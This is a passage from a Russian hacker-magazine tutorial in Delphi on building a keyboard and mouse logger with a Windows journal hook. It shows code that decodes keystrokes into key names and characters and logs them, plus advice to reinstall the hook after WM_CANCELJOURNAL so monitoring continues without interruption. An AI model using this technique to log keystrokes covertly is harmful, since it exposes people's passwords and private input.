ШПИОН ДЛЯ САМОГО СВЯТОГО ЗАЙЦЕВ ОЛЕГ Спецвыпуск: Хакер, номер #070, стр. 070-040-6 WM_MOUSEMOVE : S := 'перемещение мыши'+ ' (X='+IntToStr(EventMsg^.paramL) + ', Y=' + IntToStr(EventMsg^.paramH)+')'; WM_KEYDOWN : begin // Выделение виртуального кода и скан-кода VirtCode := EventMsg^.paramL and $FF; ScanCode := (EventMsg^.paramL and $FF00) shl 8; // Выделение буфера для строки SetLength(Tmp, 32); // Получение имени по коду, Res - длина возвращенной строки Res := GetKeyNameText(ScanCode, @Tmp[1], Length(Tmp)); S := 'Нажата клавиша "'+copy(Tmp, 1, Res)+'"'; // Опрос состояния клавиатуры GetKeyboardState(KeyState); // Получение символа по кодам Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0); if Res > 0 then S := S + ' символ = "'+copy(Tmp, 1, Res)+'"'; end; else S := 'message с кодом '+IntToHex(EventMsg^.message, 4); end; Form1.Memo1.Lines.Add(s); end; Result := CallNextHookEx(HookHandle, nCode, wParam, LParam); end; Работа самого хука весьма проста. Если код операции nCode равен HC_ACTION, то производится анализ кода сообщения в структуре EventMsg. Для мышиных событий paramL этой структуры содержит координату X-мыши на момент события, paramH – координату Y. Для клавиатурных событий paramL содержит коды клавиши (в старшем байте содержится скан-код, в младшем – виртуальный код), paramH содержит счетчик повторений и признак дополнительной клавиши в 15-м бите. В нашем примере при получении клавиатурного события в протокол выводится название нажатой клавиши и соответствующий ей символ. Для определения этой информации применяются API-функции — GetKeyNameText и ToAscii, — которым в качестве параметров требуется передавать виртуальный код и скан-код. Поэтому удобнее сначала получить эти коды из параметра paramL, а затем приступить к дальнейшим операциям. При этом смысл конструкции ((EventMsg^.paramL and $FF00) shl 8 состоит в том, что скан-код клавиши должен находиться в битах 16..23. В нашем случае он содержится в битах 8..15 параметра paramL, поэтому мы сначала маскируем интересующие нас биты, а затем производим сдвиг на 8 бит влево. Функция GetKeyNameText особых комментариев не требует, а вот перед вызовом функции ToAscii требуется выполнить дополнительную операцию: опросить состояние клавиатуры при помощи функции GetKeyboardState, передав полученный результат в качестве третьего параметра функции ToAscii. GetKeyboardState получает указатель на массив размером 256 байт. Каждый байт массива заполняется кодом состояния соответствующей виртуальной клавиши. Наконец, завершающим штрихом является написание обработчика сообщений. Как отмечалось выше, система может автоматически снять ловушку. Однако при этом она посылает установившему ловушку приложению сообщение WM_CANCELJOURNAL. Следовательно, для организации бесперебойного слежения за клавиатурой необходимо отслеживать сообщения типа WM_CANCELJOURNAL и при их получении производить повторную установку ловушки. procedure TForm1.OnAppMessage(var Msg: TMsg; var Handled: Boolean); begin if (Msg.message = WM_CANCELJOURNAL) and (HookHandle <> INVALID_HANDLE_VALUE) then begin HookHandle := INVALID_HANDLE_VALUE; |